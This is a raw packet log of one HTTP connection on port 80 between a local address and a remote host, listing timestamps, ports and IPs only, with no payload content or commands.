Jan 10, 2025 19:32:51.039676905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.039676905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.040141106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.040155888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.040169954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.040193081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.040205002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.040216923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.040256977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.040256977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.040313959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.040326118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.040337086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.040352106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.040363073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.040363073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.040402889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.040414095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.040425062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.040471077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.041043043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.041058064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.041069031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.041096926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.041106939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.041110992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.041126013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.041182995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.041182995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.043113947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.048002005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.072607040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.072624922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.072637081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.072652102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.072763920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.072763920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.110657930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.110675097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.110697031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.110709906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.110722065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.110734940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.110749960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.110810041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.110816002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.110816002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.110825062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.110874891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.110934019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.110945940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.110981941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.126754045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.126791000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.126804113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.126816988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.126919985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.126919985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.149225950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.149250031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.149262905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.149302959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.149318933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.149338007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.149420023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.149420977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.149441957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.149457932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.149463892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.149477005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.149585962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.164761066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.164779902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.164891958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.164926052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.164978027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165029049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165061951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165083885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165096998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165137053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165142059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165142059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165148973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165163040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165196896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165201902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165266991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165306091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165318966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165333033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165347099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165359974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165370941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165416002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165455103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165455103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165478945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165492058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165538073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165560007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165571928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165585041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165649891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165652990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165710926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165724993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165765047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165765047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165771008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165785074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165838003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165870905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165883064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165894985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165942907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.165944099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165972948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.165985107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166017056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.166017056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166048050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.166102886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166115999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166130066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166173935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.166173935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.166240931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166254997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166268110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166424990 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.166425943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166474104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.166495085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166567087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166615009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.166624069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166672945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166686058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166702986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166722059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.166749001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166749001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.166764975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166819096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.166825056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166837931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166887045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.166973114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166985035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.166996956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.167011023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.167062044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.167062998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.169840097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.169858932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.169873953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.169931889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.169941902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.169956923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.169972897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.169990063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170003891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170034885 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170034885 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170052052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170072079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170085907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170099974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170115948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170131922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170145988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170147896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170164108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170188904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170242071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170326948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170355082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170370102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170378923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170504093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170510054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170525074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170548916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170562029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170572042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170576096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170591116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170605898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170623064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170629978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170629978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170638084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170706987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170854092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170878887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170892000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170937061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170937061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.170974970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.170989037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.171001911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.171108007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.176059008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.201133966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201145887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201158047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201180935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201191902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201267004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201278925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201293945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201318979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201318026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.201334953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201409101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201420069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201431036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201443911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201457024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.201457024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.201549053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201560974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.201596022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.201596022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.207336903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.212866068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.218502045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.218514919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.218528032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.218564987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.218578100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.218590975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.218604088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.218646049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.218646049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.218703985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.222984076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.227874994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.239725113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.239748955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.239762068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.239847898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.239903927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.239917040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.239929914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.239942074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.239973068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.239973068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.241375923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.255539894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255569935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255585909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255609989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255623102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255628109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.255639076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255654097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255657911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.255671024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255703926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.255719900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.255728006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255743027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255785942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.255815029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255837917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255851984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255862951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255876064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.255893946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.255920887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.255920887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.255990982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256002903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256016970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256028891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256042004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256051064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256059885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256107092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256107092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256145954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256160021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256206989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256220102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256221056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256237030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256251097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256263018 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256263971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256277084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256297112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256319046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256346941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256449938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256463051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256475925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256489992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256500959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256515026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256522894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256522894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256530046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256581068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256581068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256695032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256709099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256724119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256736040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256778002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256809950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256824017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256836891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256848097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256861925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256866932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256866932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256876945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256890059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256917953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256917953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.256973982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256987095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.256999016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257013083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257025003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257064104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.257064104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.257078886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257114887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.257126093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257137060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257174969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.257221937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257227898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257232904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257239103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257280111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.257301092 CET	49710	80	192.168.2.6	193.143.1.205
